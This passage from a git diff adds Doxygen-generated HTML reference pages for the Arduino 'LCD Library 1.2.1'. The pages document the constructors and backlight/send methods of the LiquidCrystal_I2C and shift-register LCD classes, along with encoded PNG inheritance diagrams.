+ +

Definition at line 109 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t backlighPin,
t_backlighPol pol = POSITIVE 
)
+
+
+ +

Definition at line 115 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters:
+ + + + + + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
d4[in]LCD data 0 pin map on IO extender module
d5[in]LCD data 1 pin map on IO extender module
d6[in]LCD data 2 pin map on IO extender module
d7[in]LCD data 3 pin map on IO extender module
+
+
+ +

Definition at line 123 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7,
uint8_t backlighPin,
t_backlighPol pol = POSITIVE 
)
+
+
+ +

Definition at line 130 of file LiquidCrystal_I2C.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
) [virtual]
+
+
+

LCD initialization and associated HW. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class or parent class.

+

The begin method can be overloaded if necessary to initialize any HW that is implemented by a library and can't be done during construction, here we use the Wire class.

+
Parameters:
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]size of the characters of the LCD: LCD_5x8DOTS or LCD_5x10DOTS.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 144 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters:
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 240 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_I2C::setBacklight (uint8_t value) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+
Parameters:
+ + +
value,:backlight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 167 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
) [virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters:
+ + +
0,:backlight off, 1..255: backlight on.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 158 of file LiquidCrystal_I2C.cpp.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h
    • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp
    • +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___i2_c.png new file mode 100644 index 0000000000000000000000000000000000000000..3f20cd28a855e5c70c44304f733b3ea0a2f49990 GIT binary patch literal 390 zcmeAS@N?(olHy`uVBq!ia0vp^`9K`N!3-o7%x`M}DTx4|5ZC|z{{xvX-h3_XKQsZz z0^5`_IcC)8@6loc?6u_j|vt z)Oo+Mzc>HM#O*VuYo`XjTJ>W|L3ye2sraK<8aQ@+5)@I1>b)j|6 zt-Ate-~THwJ@qv8T=BP$|YIC=Oy{fT&G%8*FV~DM#oY%|JT1Y z?2CSFX)&1<9WDJe)5><@uQ&Sr!K!SI|9h>nZcV!VZu9f@-m(|zdB*u)uRZ06QzT{=YsT#Z1{#B>tDnm{r-UW|>A|ym literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r-members.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r-members.html new file mode 100644 index 0000000..ce67c0e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r-members.html @@ -0,0 +1,122 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR Member List
+
+
+This is the complete list of members for LiquidCrystal_SR, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR(uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)LiquidCrystal_SR
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR [virtual]
setBacklight(uint8_t mode)LiquidCrystal_SR [virtual]
setBacklightPin(uint8_t pin, t_backlighPol pol)LiquidCrystal_SR [virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.html new file mode 100644 index 0000000..8df2b71 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.html @@ -0,0 +1,271 @@ + + + + +LCD Library: LiquidCrystal_SR Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions
+
+
LiquidCrystal_SR Class Reference
+
+
+ +

#include <LiquidCrystal_SR.h>

+
+Inheritance diagram for LiquidCrystal_SR:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + + +

+Public Member Functions

 LiquidCrystal_SR (uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t mode)
void setBacklightPin (uint8_t pin, t_backlighPol pol)
+

Detailed Description

+
+

Definition at line 94 of file LiquidCrystal_SR.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR::LiquidCrystal_SR (uint8_t srdata,
uint8_t srclock,
uint8_t enable = TWO_WIRE 
)
+
+
+

LCD SHIFT REGISTER constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters:
+ + + + +
srdata[in]pin for shiftregister data line.
srclock[in]pin for shiftregister clock line.
enable[in]optional direct enable pin for the LCD
+
+
+ +

Definition at line 98 of file LiquidCrystal_SR.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters:
+ + +
value[in]Value to send to the LCD.
+
+
+
Returns:
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +

Definition at line 172 of file LiquidCrystal_SR.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_SR::setBacklight (uint8_t mode) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+
Parameters:
+ + +
mode,:backlight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 207 of file LiquidCrystal_SR.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR::setBacklightPin (uint8_t pin,
t_backlighPol pol 
) [virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight.

+
Warning:
Currently not supported
+
Parameters:
+ + + +
mode,:backlight mode (HIGH|LOW)
pol,:backlight polarity
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 202 of file LiquidCrystal_SR.cpp.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h
    • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.cpp
    • +
+
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r.png new file mode 100644 index 0000000000000000000000000000000000000000..04adf583574c8aca992be0cbb3cc8a94df81171d GIT binary patch literal 387 zcmeAS@N?(olHy`uVBq!ia0vp^IY1o1!3-o%GbCsNDTx4|5ZC|z{{xvX-h3_XKQsZz z0^zYjr#{J0y{n*V!XkBIO*}T z?89f?&b=CFuD|-bPR`+7)jhn$M$vYIcoQv8J_ms!`{hZfXc`LU&{f|jMG%YXWPZGoIgF;U^ Zk7h|Q-kJL90WicEJYD@<);T3K0RV%#t6~5E literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w-members.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w-members.html new file mode 100644 index 0000000..16d73a4 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w-members.html @@ -0,0 +1,122 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR2W Member List
+
+
+This is the complete list of members for LiquidCrystal_SR2W, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR2W(uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)LiquidCrystal_SR2W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR2W [virtual]
setBacklight(uint8_t mode)LiquidCrystal_SR2W [virtual]
setBacklightPin(uint8_t value, t_backlighPol pol)LCD [inline, virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.html new file mode 100644 index 0000000..9db40e9 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.html @@ -0,0 +1,230 @@ + + + + +LCD Library: LiquidCrystal_SR2W Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions
+
+
LiquidCrystal_SR2W Class Reference
+
+
+ +

#include <LiquidCrystal_SR2W.h>

+
+Inheritance diagram for LiquidCrystal_SR2W:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + +

+Public Member Functions

 LiquidCrystal_SR2W (uint8_t srdata, uint8_t srclock, t_backlighPol blpol=POSITIVE)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t mode)
+

Detailed Description

+
+

Definition at line 137 of file LiquidCrystal_SR2W.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR2W::LiquidCrystal_SR2W (uint8_t srdata,
uint8_t srclock,
t_backlighPol blpol = POSITIVE 
)
+
+
+

LCD 2 wire SHIFT REGISTER constructor. Defines the pin assignments that connect to the shift register. The constructor does not initialize the LCD. Assuming 1 line 8 pixel high font.

+
Parameters:
+ + + + +
srdata[in]Arduino pin for shift register data line.
srclock[in]Arduino pin for shift register clock line.
blpol[in]optional backlight polarity (default = POSITIVE)
+
+
+ +

Definition at line 37 of file LiquidCrystal_SR2W.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR2W::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command using the shift register.

+

Users should never call this method.

+
Parameters:
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA=8bit data, COMMAND=8bit cmd, FOUR_BITS=4bit cmd the LCD.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 90 of file LiquidCrystal_SR2W.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_SR2W::setBacklight (uint8_t mode) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+
Parameters:
+ + +
mode[in]backlight mode (0 off, non-zero on)
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 117 of file LiquidCrystal_SR2W.cpp.

+ +
+
+
The documentation for this class was generated from the following files: +
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r2_w.png new file mode 100644 index 0000000000000000000000000000000000000000..774ed614fb08090bf0c6e5165026acf1454333e8 GIT binary patch literal 414 zcmeAS@N?(olHy`uVBq!ia0vp^bwC`z!3-o{L>vAAQW60^A+G=b{|AY@`C8h4XabN0 z#s>}@VC}pk59D%`1o;Is02P72)l(rx3=E9Ao-U3d6^w7^-V|y!;Ba-Gd-8vMk$g(; zvDBcY+oo?+bvwkkY40@6&{JQ$L>@HSt1jVHN?Ka`{bA>Sm;2q@m5zizX#9V5s{U`A z^!ty`u*>~e{y2CkkC$xehm@MNEC0lRh?GC`*VjB~WS6Ue5&xt=PSI*L%4WCu&|7rh zSMXxhnrpB3ZT`Av-*YzU6Zx$7dxM-Ty2P{B`+ogUeBh4mvn6#UJ-Zaoou1U)_+tV8 zL(hg!hXlgI=J(hc9y=ub^usyUXF)FBwwqajTynb8I9!DE}jk&E6i?-d` zcjxgBgMz~vuQqgje>U&(!)Z?+eE7T5zI*#CO`AQp_wfh6oL+BnIORU~z5cjI)z+1t yHFmtZaQFM&%@eBsMEz;c + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR3W Member List
+
+
+This is the complete list of members for LiquidCrystal_SR3W, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
_polarityLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_SR3W
LiquidCrystal_SR3W(uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)LiquidCrystal_SR3W
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR3W [virtual]
setBacklight(uint8_t value)LiquidCrystal_SR3W [virtual]
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_SR3W [virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.html new file mode 100644 index 0000000..8354be6 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.html @@ -0,0 +1,501 @@ + + + + +LCD Library: LiquidCrystal_SR3W Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions
+
+
LiquidCrystal_SR3W Class Reference
+
+
+ +

#include <LiquidCrystal_SR3W.h>

+
+Inheritance diagram for LiquidCrystal_SR3W:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + + + + + + +

+Public Member Functions

 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe)
 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 LiquidCrystal_SR3W (uint8_t data, uint8_t clk, uint8_t strobe, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
virtual void send (uint8_t value, uint8_t mode)
void setBacklight (uint8_t value)
void setBacklightPin (uint8_t value, t_backlighPol pol)
+

Detailed Description

+
+

Definition at line 66 of file LiquidCrystal_SR3W.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe 
)
+
+
+

Class constructor. Initializes class variables and defines the IO driving the shift register. The constructor does not initialize the LCD. Default configuration: Shift register LCD QA - 0 DB4 QB - 1 DB5 QC - 2 DB6 QD - 3 DB7 QE - 4 E QF - 5 QG - 6 Rs GND Rw

+
Parameters:
+ + + + +
strobe[in]digital IO connected to shiftregister strobe pin.
data[in]digital IO connected to the shiftregister data pin.
clk[in]digital IO connected to the shiftregister clock pin.
+
+
+ +

Definition at line 133 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe,
uint8_t backlighPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 138 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+
+

Class constructor. Initializes class variables and defines the control lines of the LCD and the shiftregister. The constructor does not initialize the LCD.

+
Parameters:
+ + + + + + + + + + + +
strobe[in]digital IO connected to shiftregister strobe pin.
data[in]digital IO connected to shiftregister data pin.
clk[in]digital IO connected to shiftregister clock pin.
En[in]LCD En (Enable) pin connected to SR output pin.
Rw[in]LCD Rw (Read/write) pin connected to SR output pin.
Rs[in]LCD Rs (Reg Select) pin connected to SR output pin.
d4[in]LCD data 4 pin map to the SR output pin.
d5[in]LCD data 5 pin map to the SR output pin.
d6[in]LCD data 6 pin map to the SR output pin.
d7[in]LCD data 7 pin map to the SR output pin.
+
+
+ +

Definition at line 145 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR3W::LiquidCrystal_SR3W (uint8_t data,
uint8_t clk,
uint8_t strobe,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7,
uint8_t backlighPin,
t_backlighPol pol 
)
+
+
+ +

Definition at line 152 of file LiquidCrystal_SR3W.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR3W::send (uint8_t value,
uint8_t mode 
) [virtual]
+
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters:
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 162 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_SR3W::setBacklight (uint8_t value) [virtual]
+
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

+
See also:
setBacklightPin.
+
Parameters:
+ + +
value,:backlight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 191 of file LiquidCrystal_SR3W.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_SR3W::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
) [virtual]
+
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters:
+ + +
0,:backlight off, 1..255: backlight on.
+
+
+ +

Reimplemented from LCD.

+ +

Definition at line 183 of file LiquidCrystal_SR3W.cpp.

+ +
+
+
The documentation for this class was generated from the following files: +
+ + + + +
+ +
+ +
Generated on Thu Apr 5 2012 18:17:46 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.png b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r3_w.png new file mode 100644 index 0000000000000000000000000000000000000000..2d13cf718e3885b492dd215da5be2b7988a87a6f GIT binary patch literal 413 zcmeAS@N?(olHy`uVBq!ia0vp^bwC`z!3-o{L>vAAQW60^A+G=b{|AY@`C8h4XabN0 z#s>}@VC}pk59D%`1o;Is02P72)l(rx3=E7qo-U3d6^w7^z7;#9z|ppJ?&H7lMfOiF zpA9{pyQRufG;bll!i)QxmUu=&&+8ZGol`NM(#Sx>#^ zKmTHTuI54GervnXQ%kPgWPR7O-gN5xZV=J)|MMw!xrzskaALop|H>c@_JeuS@{8ivzELXZkUMX4w|cJ1$=OGuJ(?n?ww?aA z@rOa-@fG@eUz~q;uh_!omD=~KhTYrWXxi9B-~Y|~{BQ15`Ev#@t6!_n-hQm#s`9&r x#p?^Td%vA + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LiquidCrystal_SR_LCD3 Member List
+
+
+This is the complete list of members for LiquidCrystal_SR_LCD3, including all inherited members. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_colsLCD [protected]
_displaycontrolLCD [protected]
_displayfunctionLCD [protected]
_displaymodeLCD [protected]
_numlinesLCD [protected]
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LCD [virtual]
blink()LCD
clear()LCD
command(uint8_t value)LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SR_LCD3(uint8_t srdata, uint8_t srclock, uint8_t enable)LiquidCrystal_SR_LCD3
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SR_LCD3 [virtual]
setBacklight(uint8_t value)LCD [inline, virtual]
setBacklightPin(uint8_t value)LCD [inline, virtual]
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCD [virtual]
+ + + + +
+ +
+ +
Generated on Sun Mar 4 2012 21:17:07 for LCD Library by  + +doxygen 1.7.4
+ + diff --git a/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.html b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.html new file mode 100644 index 0000000..73b9d1e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_liquid_crystal___s_r___l_c_d3.html @@ -0,0 +1,200 @@ + + + + +LCD Library: LiquidCrystal_SR_LCD3 Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+Public Member Functions
+
+
LiquidCrystal_SR_LCD3 Class Reference
+
+
+ +

#include <LiquidCrystal_SR_LCD3.h>

+
+Inheritance diagram for LiquidCrystal_SR_LCD3:
+
+
+ + +LCD + +
+ +

List of all members.

+ + + + +

+Public Member Functions

 LiquidCrystal_SR_LCD3 (uint8_t srdata, uint8_t srclock, uint8_t enable)
virtual void send (uint8_t value, uint8_t mode)
+

Detailed Description

+
+

Definition at line 16 of file LiquidCrystal_SR_LCD3.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_SR_LCD3::LiquidCrystal_SR_LCD3 (uint8_t srdata,
uint8_t srclock,
uint8_t enable 
)
+
+
+

